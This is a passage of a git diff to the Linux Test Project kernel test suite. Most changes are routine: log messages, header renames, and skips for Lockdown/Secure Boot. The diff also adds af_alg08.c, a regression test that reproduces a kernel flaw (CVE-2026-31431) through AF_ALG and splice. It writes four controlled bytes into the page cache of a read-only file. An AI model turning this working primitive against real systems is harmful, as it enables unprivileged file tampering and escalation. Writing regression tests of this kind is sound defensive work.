cpuset_set "$CPUSET/0" "$cpu_of_node0" "1" "0" 2> $CPUSET_TMP/stderr if [ $? -ne 0 ]; then cpuset_log_error $CPUSET_TMP/stderr @@ -254,6 +263,7 @@ talk2memory_test_for_case_10_11() test9() { + tst_resm TINFO "$1: Testing anonymous memory allocation in multiple cpusets" cpuset_set "$CPUSET/1" "$cpus_all" "0" "0" 2> $CPUSET_TMP/stderr if [ $? -ne 0 ]; then cpuset_log_error $CPUSET_TMP/stderr @@ -292,6 +302,7 @@ test9() test10() { + tst_resm TINFO "$1: Testing anonymous memory allocation in multiple cpusets with migration" cpuset_set "$CPUSET/1" "$cpus_all" "0" "0" 2> $CPUSET_TMP/stderr if [ $? -ne 0 ]; then cpuset_log_error $CPUSET_TMP/stderr @@ -344,7 +355,7 @@ talk2memory_test_for_case_12_13() sleep 1 echo $1 > "$2/tasks" /bin/kill -s SIGUSR1 $1 - + sleep 1 echo 0 > "$2/cpuset.mems" || return 1 sleep 1 /bin/kill -s SIGUSR1 $1 @@ -358,6 +369,7 @@ talk2memory_test_for_case_12_13() test11() { + tst_resm TINFO "$1: Testing anonymous memory allocation on multiple nodes without migration" cpuset_set "$CPUSET/0" "$cpu_of_node0" "1" "0" 2> $CPUSET_TMP/stderr if [ $? -ne 0 ]; then cpuset_log_error $CPUSET_TMP/stderr @@ -386,6 +398,7 @@ test11() test12() { + tst_resm TINFO "$1: Testing anonymous memory allocation on multiple nodes with migration" cpuset_set "$CPUSET/0" "$cpu_of_node0" "1" "0" 2> $CPUSET_TMP/stderr if [ $? -ne 0 ]; then cpuset_log_error $CPUSET_TMP/stderr @@ -442,6 +455,7 @@ get_the_second() test13() { + tst_resm TINFO "$1: Testing anonymous memory allocation in multiple cpusets with threads" cpuset_set "$CPUSET/1" "$cpu_of_node0" "0" "0" 2> $CPUSET_TMP/stderr if [ $? -ne 0 ]; then cpuset_log_error $CPUSET_TMP/stderr @@ -490,6 +504,7 @@ test13() test14() { + tst_resm TINFO "$1: Testing anonymous memory allocation in multiple cpusets with threads and migration" cpuset_set "$CPUSET/1" "$cpu_of_node0" "0" "0" 2> $CPUSET_TMP/stderr if [ $? -ne 0 ]; then cpuset_log_error $CPUSET_TMP/stderr @@ -546,6 +561,7 @@ test14() test15() { + tst_resm TINFO "$1: Testing anonymous memory reallocation in multiple cpusets with threads and migration" cpuset_set "$CPUSET/1" "$cpu_of_node0" "0" "0" 2> $CPUSET_TMP/stderr if [ $? -ne 0 ]; then cpuset_log_error $CPUSET_TMP/stderr @@ -613,6 +629,7 @@ test15() test16() { + tst_resm TINFO "$1: Testing anonymous memory reallocation in multiple cpusets with threads and migration" cpuset_set "$CPUSET/1" "$cpu_of_node0" "1" "0" 2> $CPUSET_TMP/stderr if [ $? -ne 0 ]; then cpuset_log_error $CPUSET_TMP/stderr @@ -688,6 +705,7 @@ test16() test17() { + tst_resm TINFO "$1: Testing anonymous memory reallocation in multiple cpusets with threads and migration" cpuset_set "$CPUSET/1" "$cpu_of_node0" "1" "0" 2> $CPUSET_TMP/stderr if [ $? -ne 0 ]; then cpuset_log_error $CPUSET_TMP/stderr @@ -774,7 +792,7 @@ do if [ $? -ne 0 ]; then exit_status=1 else - test$c + test$c $c if [ $? -ne 0 ]; then exit_status=1 cleanup diff --git a/ltp/testcases/kernel/controllers/memcg/memcontrol01.c b/ltp/testcases/kernel/controllers/memcg/memcontrol01.c index f1f5a9df..efb0c850 100644 --- a/ltp/testcases/kernel/controllers/memcg/memcontrol01.c +++ b/ltp/testcases/kernel/controllers/memcg/memcontrol01.c @@ -1,7 +1,11 @@ // SPDX-License-Identifier: GPL-2.0-only +/* + * Copyright (c) 2021-2022 Richard Palethorpe <rpalethorpe@suse.com> + */ + /*\ + * Conversion of the first kself test in :kselftest:`cgroup/test_memcontrol.c`. * - * Conversion of the first kself test in cgroup/test_memcontrol.c. * This test creates two nested cgroups with and without enabling the * memory controller. * @@ -9,10 +13,9 @@ * a child cgroup is added. So unlike the kselftest we remove the * controller after it being added automatically. */ -#define _GNU_SOURCE +#define _GNU_SOURCE #include <stdio.h> - #include "tst_test.h" static struct tst_cg_group *parent, *child; diff --git a/ltp/testcases/kernel/controllers/memcg/memcontrol02.c b/ltp/testcases/kernel/controllers/memcg/memcontrol02.c index 101b4e1b..0b79403c 100644 --- a/ltp/testcases/kernel/controllers/memcg/memcontrol02.c +++ b/ltp/testcases/kernel/controllers/memcg/memcontrol02.c @@ -1,7 +1,10 @@ // SPDX-License-Identifier: GPL-2.0-only +/* + * Copyright (c) 2021-2022 Richard Palethorpe <rpalethorpe@suse.com> + */ + /*\ - * - * Conversion of second kself test in cgroup/test_memcontrol.c. + * Conversion of second kself test in :kselftest:`cgroup/test_memcontrol.c`. * * Original description: * @@ -20,8 +23,8 @@ * - On EXFAT and extN we change the margin of error between all and file * memory to 50%. Because these allocate non-page-cache memory during writes. */ -#define _GNU_SOURCE +#define _GNU_SOURCE #include "memcontrol_common.h" static size_t page_size; diff --git a/ltp/testcases/kernel/controllers/memcg/memcontrol03.c b/ltp/testcases/kernel/controllers/memcg/memcontrol03.c index d2e489ad..493e970a 100644 --- a/ltp/testcases/kernel/controllers/memcg/memcontrol03.c +++ b/ltp/testcases/kernel/controllers/memcg/memcontrol03.c @@ -1,7 +1,7 @@ // SPDX-License-Identifier: GPL-2.0-only /*\ * - * Conversion of the third kself test in cgroup/test_memcontrol.c. + * Conversion of the third kself test in :kselftest:`cgroup/test_memcontrol.c`. * * Original description: * "First, this test creates the following hierarchy: diff --git a/ltp/testcases/kernel/controllers/memcg/memcontrol04.c b/ltp/testcases/kernel/controllers/memcg/memcontrol04.c index 8184dcdf..715cc5bc 100644 --- a/ltp/testcases/kernel/controllers/memcg/memcontrol04.c +++ b/ltp/testcases/kernel/controllers/memcg/memcontrol04.c @@ -1,7 +1,7 @@ // SPDX-License-Identifier: GPL-2.0-only /*\ * - * Conversion of the forth kself test in cgroup/test_memcontrol.c. + * Conversion of the forth kself test in :kselftest:`cgroup/test_memcontrol.c`. * * Original description: * "First, this test creates the following hierarchy: diff --git a/ltp/testcases/kernel/controllers/memcg/memcontrol_common.h b/ltp/testcases/kernel/controllers/memcg/memcontrol_common.h index e39e455d..495f924a 100644 --- a/ltp/testcases/kernel/controllers/memcg/memcontrol_common.h +++ b/ltp/testcases/kernel/controllers/memcg/memcontrol_common.h @@ -1,4 +1,7 @@ // SPDX-License-Identifier: GPL-2.0-only +/* + * Copyright (c) 2021-2022 Richard Palethorpe <rpalethorpe@suse.com> + */ #ifndef MEMCONTROL_COMMON_H__ #define MEMCONTROL_COMMON_H__ diff --git a/ltp/testcases/kernel/controllers/memcg/regression/memcg_test_3.c b/ltp/testcases/kernel/controllers/memcg/regression/memcg_test_3.c index 31b1b5a8..9a86853d 100644 --- a/ltp/testcases/kernel/controllers/memcg/regression/memcg_test_3.c +++ b/ltp/testcases/kernel/controllers/memcg/regression/memcg_test_3.c @@ -1,14 +1,15 @@ // SPDX-License-Identifier: GPL-2.0-or-later /* * Copyright (c) 2017 FUJITSU LIMITED. All rights reserved. + * Copyright (c) Linux Test Project, 2017-2026 * Author: Guangwen Feng <fenggw-fnst@cn.fujitsu.com> */ -/* - * This is a regression test for a crash caused by memcg function - * reentrant on buggy kernel. When doing rmdir(), a pending signal can - * interrupt the execution and lead to cgroup_clear_css_refs() - * being entered repeatedly, this results in a BUG_ON(). +/*\ + * Regression test for a crash caused by memcg function reentrant on buggy + * kernel. When doing rmdir(), a pending signal can interrupt the execution and + * lead to cgroup_clear_css_refs() being entered repeatedly, this results in a + * BUG_ON(). */ #include <errno.h> diff --git a/ltp/testcases/kernel/controllers/testplan.txt b/ltp/testcases/kernel/controllers/testplan.txt deleted file mode 100644 index 7fbca2a0..00000000 --- a/ltp/testcases/kernel/controllers/testplan.txt +++ /dev/null @@ -1,15 +0,0 @@ -THE RESOURCE MANAGEMENT (CONTROLLERS) TEST PLAN - -This directory "controllers" is created to include all test cases related to -the resource controllers in linux. The testplan at present includes testing -of cpu controller, memory controller and cpuset controller. -There are test cases to test cpu, memory and cpuset controller. In future new -testcases will be included to test these controllers further. -Each new controller will have it's own directory to contain all its test -cases. -A brief description of all the testcases is given in the corresponding -controllers directory. - -For more information on resource controllers please refer to -cgroups/cgroups.txt, cgroups/memory.txt and cgroups/cpusets.txt in kernel -source code documentation. diff --git a/ltp/testcases/kernel/crypto/.gitignore b/ltp/testcases/kernel/crypto/.gitignore index 448f986a..aca016b6 100644 --- a/ltp/testcases/kernel/crypto/.gitignore +++ b/ltp/testcases/kernel/crypto/.gitignore @@ -5,6 +5,7 @@ af_alg04 af_alg05 af_alg06 af_alg07 +af_alg08 pcrypt_aead01 crypto_user01 crypto_user02 diff --git a/ltp/testcases/kernel/crypto/af_alg08.c b/ltp/testcases/kernel/crypto/af_alg08.c new file mode 100644 index 00000000..937ab175 --- /dev/null +++ b/ltp/testcases/kernel/crypto/af_alg08.c @@ -0,0 +1,167 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (C) 2026 SUSE LLC Andrea Cervesato <andrea.cervesato@suse.com> + */ + +/*\ + * Test for CVE-2026-31431 ("Copy Fail") fixed in kernel v7.0: + * a664bf3d603d ("crypto: algif_aead - Separate src from dst") + * + * A logic bug in authencesn, the kernel's AEAD wrapper for IPsec Extended + * Sequence Numbers, allows an unprivileged user to write 4 controlled bytes + * into the page cache of any readable file. During AEAD decryption, + * authencesn uses the destination scatterlist as scratch space for ESN byte + * rearrangement. When data is spliced from a file into an AF_ALG socket, the + * 2017 in-place optimization (72548b093ee3) places page cache pages into the + * writable destination scatterlist. authencesn's scratch write then corrupts + * those pages. + * + * The test creates a file with known data, attempts page cache corruption via + * the AF_ALG + splice technique, and verifies whether the file content was + * modified. + * + * Reproducer based on: + * https://github.com/theori-io/copy-fail-CVE-2026-31431 + */ + +#include "tst_test.h" +#include "tst_af_alg.h" +#include "lapi/socket.h" +#include "lapi/splice.h" + +#define TESTFILE "copy_fail" +#define OVERWRITE_SIZE 4 +#define AEAD_AUTHSIZE 4 +#define AEAD_ASSOCLEN 8 +#define AES_IV_SIZE 16 +#define SPI_SIZE 4 + +static const uint8_t original[OVERWRITE_SIZE] = { 'X', 'X', 'X', 'X' }; +static const uint8_t payload[OVERWRITE_SIZE] = { 'P', 'W', 'N', 'D' }; + +/* + * authenc key format: struct rtattr header (8 bytes) + + * HMAC-SHA256 key (16 bytes) + AES-128 key (16 bytes) + */ +static const uint8_t authenc_key[] = { +#if __BYTE_ORDER == __LITTLE_ENDIAN + 0x08, 0x00, 0x01, 0x00, +#else + 0x00, 0x08, 0x00, 0x01, +#endif + 0x00, 0x00, 0x00, 0x10, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, +}; + +static int algfd = -1; +static int reqfd = -1; +static int pipefd[2] = { -1, -1 }; +static int file_fd = -1; +static const int exp_errnos[] = { + EBADMSG, + EINVAL +}; + +static void try_corrupt(void) +{ + const uint8_t iv[AES_IV_SIZE] = { 0 }; + uint8_t aad[AEAD_ASSOCLEN]; + char recvbuf[AEAD_ASSOCLEN]; + loff_t off_in = 0; + + algfd = -1; + reqfd = -1; + pipefd[0] = -1; + pipefd[1] = -1; + + /* AAD[0..3] = SPI (don't care), AAD[4..7] = ESN scratch-write zone */ + memset(aad, 'A', SPI_SIZE); + memcpy(aad + SPI_SIZE, payload, OVERWRITE_SIZE); + + algfd = tst_alg_setup("aead", "authencesn(hmac(sha256),cbc(aes))", + authenc_key, sizeof(authenc_key)); + SAFE_SETSOCKOPT(algfd, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL, + AEAD_AUTHSIZE); + + reqfd = tst_alg_accept(algfd); + + const struct tst_alg_sendmsg_params params = { + .decrypt = true, + .iv = iv, + .ivlen = AES_IV_SIZE, + .assoclen = AEAD_ASSOCLEN, + .msg_flags = MSG_MORE, + }; + + tst_alg_sendmsg(reqfd, aad, sizeof(aad), ¶ms); + + SAFE_PIPE(pipefd); + + SAFE_SPLICE(file_fd, &off_in, pipefd[1], NULL, OVERWRITE_SIZE, 0); + SAFE_SPLICE(pipefd[0], NULL, reqfd, NULL, OVERWRITE_SIZE, 0); + + /* Expected to fail (invalid ciphertext); triggers the scratch write */ + TST_EXP_FAIL_ARR_SILENT(recv(reqfd, recvbuf, sizeof(recvbuf), 0), + exp_errnos, ARRAY_SIZE(exp_errnos)); + + SAFE_CLOSE(pipefd[0]); + SAFE_CLOSE(pipefd[1]); + SAFE_CLOSE(reqfd); + SAFE_CLOSE(algfd); +} + +static void run(void) +{ + uint8_t readback[OVERWRITE_SIZE]; + + file_fd = SAFE_OPEN(TESTFILE, O_WRONLY | O_CREAT, 0444); + SAFE_WRITE(SAFE_WRITE_ALL, file_fd, original, OVERWRITE_SIZE); + SAFE_CLOSE(file_fd); + + file_fd = SAFE_OPEN(TESTFILE, O_RDONLY); + try_corrupt(); + SAFE_CLOSE(file_fd); + + file_fd = SAFE_OPEN(TESTFILE, O_RDONLY); + SAFE_READ(1, file_fd, readback, sizeof(readback)); + SAFE_CLOSE(file_fd); + + if (memcmp(readback, original, OVERWRITE_SIZE) != 0) + tst_res(TFAIL, "Page cache was corrupted via AF_ALG splice"); + else + tst_res(TPASS, "Page cache was not corrupted"); + + SAFE_UNLINK(TESTFILE); +} + +static void cleanup(void) +{ + if (pipefd[0] != -1) + SAFE_CLOSE(pipefd[0]); + + if (pipefd[1] != -1) + SAFE_CLOSE(pipefd[1]); + + if (reqfd != -1) + SAFE_CLOSE(reqfd); + + if (algfd != -1) + SAFE_CLOSE(algfd); + + if (file_fd != -1) + SAFE_CLOSE(file_fd); +} + +static struct tst_test test = { + .test_all = run, + .cleanup = cleanup, + .needs_tmpdir = 1, + .tags = (const struct tst_tag[]) { + {"linux-git", "a664bf3d603d"}, + {"CVE", "2026-31431"}, + {} + }, +}; diff --git a/ltp/testcases/kernel/device-drivers/acpi/.gitignore b/ltp/testcases/kernel/device-drivers/acpi/.gitignore index 6aa2c129..02c16339 100644 --- a/ltp/testcases/kernel/device-drivers/acpi/.gitignore +++ b/ltp/testcases/kernel/device-drivers/acpi/.gitignore @@ -6,3 +6,4 @@ /.*.ko /.*.cmd /Module.symvers +/modules.livepatch diff --git a/ltp/testcases/kernel/device-drivers/acpi/ltp_acpi.c b/ltp/testcases/kernel/device-drivers/acpi/ltp_acpi.c index 2c0cc562..15521ab5 100644 --- a/ltp/testcases/kernel/device-drivers/acpi/ltp_acpi.c +++ b/ltp/testcases/kernel/device-drivers/acpi/ltp_acpi.c @@ -22,8 +22,9 @@ #include <stdlib.h> #include "test.h" -#include "old_module.h" -#include "safe_macros.h" +#include "tso_module.h" +#include "tso_safe_macros.h" +#include "tst_security.h" #include "ltp_acpi.h" @@ -134,6 +135,10 @@ int main(int argc, char *argv[]) tst_sig(FORK, DEF_HANDLER, cleanup); tst_requires_module_signature_disabled(); + + if (tst_lockdown_enabled() > 0 || tst_secureboot_enabled() > 0) + tst_brkm(TCONF, NULL, "Cannot load unsigned modules in Lockdown/Secure Boot"); + tst_module_load(NULL, module_name, NULL); module_loaded = 1; diff --git a/ltp/testcases/kernel/device-drivers/block/block_dev_kernel/.gitignore b/ltp/testcases/kernel/device-drivers/block/block_dev_kernel/.gitignore index 3beebe10..012657ac 100644 --- a/ltp/testcases/kernel/device-drivers/block/block_dev_kernel/.gitignore +++ b/ltp/testcases/kernel/device-drivers/block/block_dev_kernel/.gitignore @@ -5,3 +5,4 @@ /.*.ko /.*.cmd /Module.symvers +/modules.livepatch diff --git a/ltp/testcases/kernel/device-drivers/block/block_dev_user/block_dev.c b/ltp/testcases/kernel/device-drivers/block/block_dev_user/block_dev.c index cd900d80..631e6da4 100644 --- a/ltp/testcases/kernel/device-drivers/block/block_dev_user/block_dev.c +++ b/ltp/testcases/kernel/device-drivers/block/block_dev_user/block_dev.c @@ -17,6 +17,7 @@ #include "tst_test.h" #include "tst_module.h" +#include "tst_security.h" #define MODULE_NAME "ltp_block_dev" #define MODULE_NAME_KO MODULE_NAME ".ko" @@ -31,6 +32,12 @@ static struct tst_option options[] = { {} }; +static void setup(void) +{ + if (tst_lockdown_enabled() > 0 || tst_secureboot_enabled() > 0) + tst_brk(TCONF, "Cannot load unsigned modules in Lockdown/Secure Boot"); +} + static void cleanup(void) { if (module_loaded) @@ -39,6 +46,7 @@ static void cleanup(void) static void run(unsigned int n) { + setup(); tst_requires_module_signature_disabled(); /* diff --git a/ltp/testcases/kernel/device-drivers/cpufreq/cpufreq_boost.c b/ltp/testcases/kernel/device-drivers/cpufreq/cpufreq_boost.c index 645c4326..940c5609 100644 --- a/ltp/testcases/kernel/device-drivers/cpufreq/cpufreq_boost.c +++ b/ltp/testcases/kernel/device-drivers/cpufreq/cpufreq_boost.c @@ -34,7 +34,7 @@ #include "test.h" #include "lapi/posix_clocks.h" -#include "safe_macros.h" +#include "tso_safe_macros.h" char *TCID = "cpufreq_boost"; diff --git a/ltp/testcases/kernel/device-drivers/locking/lock_torture.sh b/ltp/testcases/kernel/device-drivers/locking/lock_torture.sh index dfa57373..d9bd95da 100755 --- a/ltp/testcases/kernel/device-drivers/locking/lock_torture.sh +++ b/ltp/testcases/kernel/device-drivers/locking/lock_torture.sh @@ -83,7 +83,7 @@ for type in $lock_type; do tst_brkm TBROK "failed to unload module" # check module status in dmesg - result_str=`dmesg | sed -nE '$s/.*End of test: ([A-Z]+):.*/\1/p'` + result_str=`dmesg | sed -nE '$s/.*End of test: ([A-Z]+)([[:space:]]+\[debug\])?:.*/\1/p'` if [ "$result_str" = "SUCCESS" ]; then tst_resm TPASS "$type: completed" else diff --git a/ltp/testcases/kernel/device-drivers/pci/tpci_user/tpci.c b/ltp/testcases/kernel/device-drivers/pci/tpci_user/tpci.c index 5d241fb4..687d2a62 100644 --- a/ltp/testcases/kernel/device-drivers/pci/tpci_user/tpci.c +++ b/ltp/testcases/kernel/device-drivers/pci/tpci_user/tpci.c @@ -27,8 +27,9 @@ #include <errno.h> #include "test.h" -#include "safe_macros.h" -#include "old_module.h" +#include "tso_safe_macros.h" +#include "tso_module.h" +#include "tst_security.h" #include "../tpci_kernel/tpci.h" @@ -52,6 +53,8 @@ void setup(void) tst_require_root(); tst_sig(FORK, DEF_HANDLER, cleanup); tst_requires_module_signature_disabled(); + if (tst_lockdown_enabled() > 0 || tst_secureboot_enabled() > 0) + tst_brkm(TCONF, NULL, "Cannot load unsigned modules in Lockdown/Secure Boot"); } static void run_pci_testcases(int bus, int slot) diff --git a/ltp/testcases/kernel/device-drivers/rtc/rtc01.c b/ltp/testcases/kernel/device-drivers/rtc/rtc01.c index 8a1f62ea..a02633d5 100644 --- a/ltp/testcases/kernel/device-drivers/rtc/rtc01.c +++ b/ltp/testcases/kernel/device-drivers/rtc/rtc01.c @@ -33,7 +33,7 @@ #include <time.h> #include "test.h" -#include "safe_macros.h" +#include "tso_safe_macros.h" int rtc_fd = -1; char *TCID = "rtc01"; diff --git a/ltp/testcases/kernel/device-drivers/tbio/tbio_user/tbio.c b/ltp/testcases/kernel/device-drivers/tbio/tbio_user/tbio.c index e882dc76..f7888b63 100644 --- a/ltp/testcases/kernel/device-drivers/tbio/tbio_user/tbio.c +++ b/ltp/testcases/kernel/device-drivers/tbio/tbio_user/tbio.c @@ -53,8 +53,8 @@ #include <string.h> #include "test.h" -#include "safe_macros.h" -#include "old_module.h" +#include "tso_safe_macros.h" +#include "tso_module.h" #include "../tbio_kernel/tbio.h" diff --git a/ltp/testcases/kernel/device-drivers/uaccess/uaccess.c b/ltp/testcases/kernel/device-drivers/uaccess/uaccess.c index ab6fa58a..fbd4ff81 100644 --- a/ltp/testcases/kernel/device-drivers/uaccess/uaccess.c +++ b/ltp/testcases/kernel/device-drivers/uaccess/uaccess.c @@ -27,8 +27,9 @@ #include <unistd.h> #include "test.h" -#include "old_module.h" -#include "safe_macros.h" +#include "tso_module.h" +#include "tso_safe_macros.h" +#include "tst_security.h" #include "ltp_uaccess.h" @@ -39,6 +40,12 @@ static const char dev_tcase[] = "/sys/devices/" DEV_NAME "/tcase"; static const char module_name[] = DEV_NAME ".ko"; static int module_loaded; +static void setup(void) +{ + if (tst_lockdown_enabled() > 0 || tst_secureboot_enabled() > 0) + tst_brkm(TCONF, NULL, "Cannot load unsigned modules in Lockdown/Secure Boot"); +} + static void cleanup(void) { if (module_loaded) @@ -94,6 +101,8 @@ int main(int argc, char *argv[]) { tst_parse_opts(argc, argv, NULL, NULL); + setup(); + tst_require_root(); tst_sig(FORK, DEF_HANDLER, cleanup); diff --git a/ltp/testcases/kernel/device-drivers/zram/zram03.c b/ltp/testcases/kernel/device-drivers/zram/zram03.c index 8cf26de4..23f6da14 100644 --- a/ltp/testcases/kernel/device-drivers/zram/zram03.c +++ b/ltp/testcases/kernel/device-drivers/zram/zram03.c @@ -236,13 +236,13 @@ static struct tst_test test = { .cleanup = cleanup, .needs_root = 1, .needs_tmpdir = 1, - .needs_drivers = (const char *const []) { - "zram", + .needs_kconfigs = (const char *const []) { + "CONFIG_ZRAM", NULL }, - .needs_cmds = (const char *[]) { - "modprobe", - "rmmod", - NULL + .needs_cmds = (struct tst_cmd[]) { + {.cmd = "modprobe"}, + {.cmd = "rmmod"}, + {} } }; diff --git a/ltp/testcases/kernel/firmware/fw_load_user/fw_load.c b/ltp/testcases/kernel/firmware/fw_load_user/fw_load.c index b2ed09e6..1f68f2ad 100644 --- a/ltp/testcases/kernel/firmware/fw_load_user/fw_load.c +++ b/ltp/testcases/kernel/firmware/fw_load_user/fw_load.c @@ -29,8 +29,9 @@ #include <string.h> #include "test.h" -#include "safe_macros.h" -#include "old_module.h" +#include "tst_security.h" +#include "tso_safe_macros.h" +#include "tso_module.h" /* number of test firmware files */ #define FW_FILES 5 @@ -102,6 +103,9 @@ static void help(void) void setup(int argc, char *argv[]) { + if (tst_lockdown_enabled() > 0 || tst_secureboot_enabled() > 0) + tst_brkm(TCONF, NULL, "Cannot load unsigned modules in Lockdown/Secure Boot"); + tst_parse_opts(argc, argv, options, help); if (nflag) { diff --git a/ltp/testcases/kernel/fs/doio/doio.c b/ltp/testcases/kernel/fs/doio/doio.c index b170f667..1a62ac16 100644 --- a/ltp/testcases/kernel/fs/doio/doio.c +++ b/ltp/testcases/kernel/fs/doio/doio.c @@ -84,7 +84,7 @@ #include "doio.h" #include "write_log.h" -#include "random_range.h" +#include "tso_random_range.h" #include "string_to_tokens.h" #include "pattern.h" diff --git a/ltp/testcases/kernel/fs/doio/growfiles.c b/ltp/testcases/kernel/fs/doio/growfiles.c index 7bf51fb9..21960f82 100644 --- a/ltp/testcases/kernel/fs/doio/growfiles.c +++ b/ltp/testcases/kernel/fs/doio/growfiles.c @@ -85,7 +85,7 @@ #include <string.h> #include <inttypes.h> #include "dataascii.h" -#include "random_range.h" +#include "tso_random_range.h" #include "databin.h" #include "open_flags.h" #include "forker.h" @@ -145,7 +145,7 @@ void myexit(int x) /* Once it is proven tlibio.c functions work properly, */ /* only tlibio.c functions will be used */ #else -#include "tlibio.h" +#include "tso_lio.h" #endif #ifndef PATH_MAX @@ -589,7 +589,7 @@ int main(int argc, char **argv) Progname, TagName); exit(1); } - if (io_type == 99) /* hold-over until tlibio.h */ + if (io_type == 99) /* hold-over until tso_lio.h */ using_random++; #endif break; diff --git a/ltp/testcases/kernel/fs/doio/iogen.c b/ltp/testcases/kernel/fs/doio/iogen.c index 765cfdae..76ce2259 100644 --- a/ltp/testcases/kernel/fs/doio/iogen.c +++ b/ltp/testcases/kernel/fs/doio/iogen.c @@ -64,7 +64,7 @@ #include "bytes_by_prefix.h" #include "string_to_tokens.h" #include "open_flags.h" -#include "random_range.h" +#include "tso_random_range.h" #ifndef PATH_MAX #define PATH_MAX 512 /* ??? */ diff --git a/ltp/testcases/kernel/fs/fs_readonly/test_robind.sh b/ltp/testcases/kernel/fs/fs_readonly/test_robind.sh index 2d9a87b7..0f5a67db 100755 --- a/ltp/testcases/kernel/fs/fs_readonly/test_robind.sh +++ b/ltp/testcases/kernel/fs/fs_readonly/test_robind.sh @@ -25,7 +25,7 @@ # DESCRIPTION: Performs filesystems tests for RO mount. # For filesystem, like ext2, ext3, reiserfs, jfs & xfs, # This test needs a big block device(>=500MB is ok), and you can specify -# it by -z option when running runltp. +# it by exporting LTP_BIG_DEV environment variable. # a) mounts on dir1, # b) mount --bind dir2 # c) mount -o remount,ro diff --git a/ltp/testcases/kernel/fs/ftest/ftest01.c b/ltp/testcases/kernel/fs/ftest/ftest01.c index 31203d68..86f986ac 100644 --- a/ltp/testcases/kernel/fs/ftest/ftest01.c +++ b/ltp/testcases/kernel/fs/ftest/ftest01.c @@ -59,7 +59,7 @@ #include <unistd.h> #include <inttypes.h> #include "test.h" -#include "safe_macros.h" +#include "tso_safe_macros.h" #include "libftest.h" char *TCID = "ftest01"; diff --git a/ltp/testcases/kernel/fs/ftest/ftest03.c b/ltp/testcases/kernel/fs/ftest/ftest03.c index ed69e573..507101d0 100644 --- a/ltp/testcases/kernel/fs/ftest/ftest03.c +++ b/ltp/testcases/kernel/fs/ftest/ftest03.c @@ -64,7 +64,7 @@ #include <stdio.h> #include <inttypes.h> #include "test.h" -#include "safe_macros.h" +#include "tso_safe_macros.h" #include "libftest.h" char *TCID = "ftest03"; diff --git a/ltp/testcases/kernel/fs/ftest/ftest04.c b/ltp/testcases/kernel/fs/ftest/ftest04.c index 8eed84c7..3bc4d2a1 100644 --- a/ltp/testcases/kernel/fs/ftest/ftest04.c +++ b/ltp/testcases/kernel/fs/ftest/ftest04.c @@ -48,7 +48,7 @@ #include <errno.h> #include <signal.h> #include "test.h" -#include "safe_macros.h" +#include "tso_safe_macros.h" #include "libftest.h" char *TCID = "ftest04"; diff --git a/ltp/testcases/kernel/fs/ftest/ftest05.c b/ltp/testcases/kernel/fs/ftest/ftest05.c index 8d8e6d49..2bbdd323 100644 --- a/ltp/testcases/kernel/fs/ftest/ftest05.c +++ b/ltp/testcases/kernel/fs/ftest/ftest05.c @@ -63,7 +63,7 @@ #include <inttypes.h> #include <sys/param.h> #include "test.h" -#include "safe_macros.h" +#include "tso_safe_macros.h" #include "libftest.h" char *TCID = "ftest05"; diff --git a/ltp/testcases/kernel/fs/ftest/ftest07.c b/ltp/testcases/kernel/fs/ftest/ftest07.c index 3b5b2a41..1e63159b 100644 --- a/ltp/testcases/kernel/fs/ftest/ftest07.c +++ b/ltp/testcases/kernel/fs/ftest/ftest07.c @@ -70,7 +70,7 @@ #include <unistd.h> #include <inttypes.h> #include "test.h" -#include "safe_macros.h" +#include "tso_safe_macros.h" #include "libftest.h" char *TCID = "ftest07"; diff --git a/ltp/testcases/kernel/fs/ftest/ftest08.c b/ltp/testcases/kernel/fs/ftest/ftest08.c index e7fb56fe..356a031b 100644 --- a/ltp/testcases/kernel/fs/ftest/ftest08.c +++ b/ltp/testcases/kernel/fs/ftest/ftest08.c @@ -55,7 +55,7 @@ #include <unistd.h> #include <inttypes.h> #include "test.h" -#include "safe_macros.h" +#include "tso_safe_macros.h" #include "libftest.h" char *TCID = "ftest08"; diff --git a/ltp/testcases/kernel/fs/iso9660/isofs.sh b/ltp/testcases/kernel/fs/iso9660/isofs.sh index 088e062d..3f1426c5 100755 --- a/ltp/testcases/kernel/fs/iso9660/isofs.sh +++ b/ltp/testcases/kernel/fs/iso9660/isofs.sh @@ -11,6 +11,7 @@ TST_NEEDS_CMDS="mount umount" TST_NEEDS_TMPDIR=1 +TST_NEEDS_KCONFIGS="CONFIG_ISO9660_FS" TST_TESTFUNC=do_test TST_CNT=3 TST_SETUP="setup" diff --git a/ltp/testcases/kernel/fs/read_all/read_all.c b/ltp/testcases/kernel/fs/read_all/read_all.c index e18945a3..5720ffb9 100644 --- a/ltp/testcases/kernel/fs/read_all/read_all.c +++ b/ltp/testcases/kernel/fs/read_all/read_all.c @@ -99,6 +99,7 @@ static char *blacklist[] = { "/sys/devices/platform/*/eeprom", "/sys/devices/platform/*/nvmem", "/sys/*/cpu??*(?)/*", /* cpu* entries with 2 or more digits */ + "/dev/fuse", NULL }; diff --git a/ltp/testcases/kernel/fs/squashfs/squashfs01.c b/ltp/testcases/kernel/fs/squashfs/squashfs01.c index fbcb7658..a5789c6a 100644 --- a/ltp/testcases/kernel/fs/squashfs/squashfs01.c +++ b/ltp/testcases/kernel/fs/squashfs/squashfs01.c @@ -102,12 +102,12 @@ static struct tst_test test = { .needs_root = 1, .needs_device = 1, .dev_min_size = 1, - .needs_cmds = (const char *const []) { - "mksquashfs", - NULL + .needs_cmds = (struct tst_cmd[]) { + {.cmd = "mksquashfs"}, + {} }, - .needs_drivers = (const char *const []) { - "squashfs", + .needs_kconfigs = (const char *const []) { + "CONFIG_SQUASHFS", NULL }, .tags = (const struct tst_tag[]) { diff --git a/ltp/testcases/kernel/fs/stream/stream01.c b/ltp/testcases/kernel/fs/stream/stream01.c index af56bca3..ec4bf96a 100644 --- a/ltp/testcases/kernel/fs/stream/stream01.c +++ b/ltp/testcases/kernel/fs/stream/stream01.c @@ -1,127 +1,70 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* + * Copyright (c) International Business Machines Corp., 2002 + * ported from SPIE section2/filesuite/stream1.c, by Airong Zhang * - * Copyright (c) International Business Machines Corp., 2002 - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. + * Copyright (c) 2026 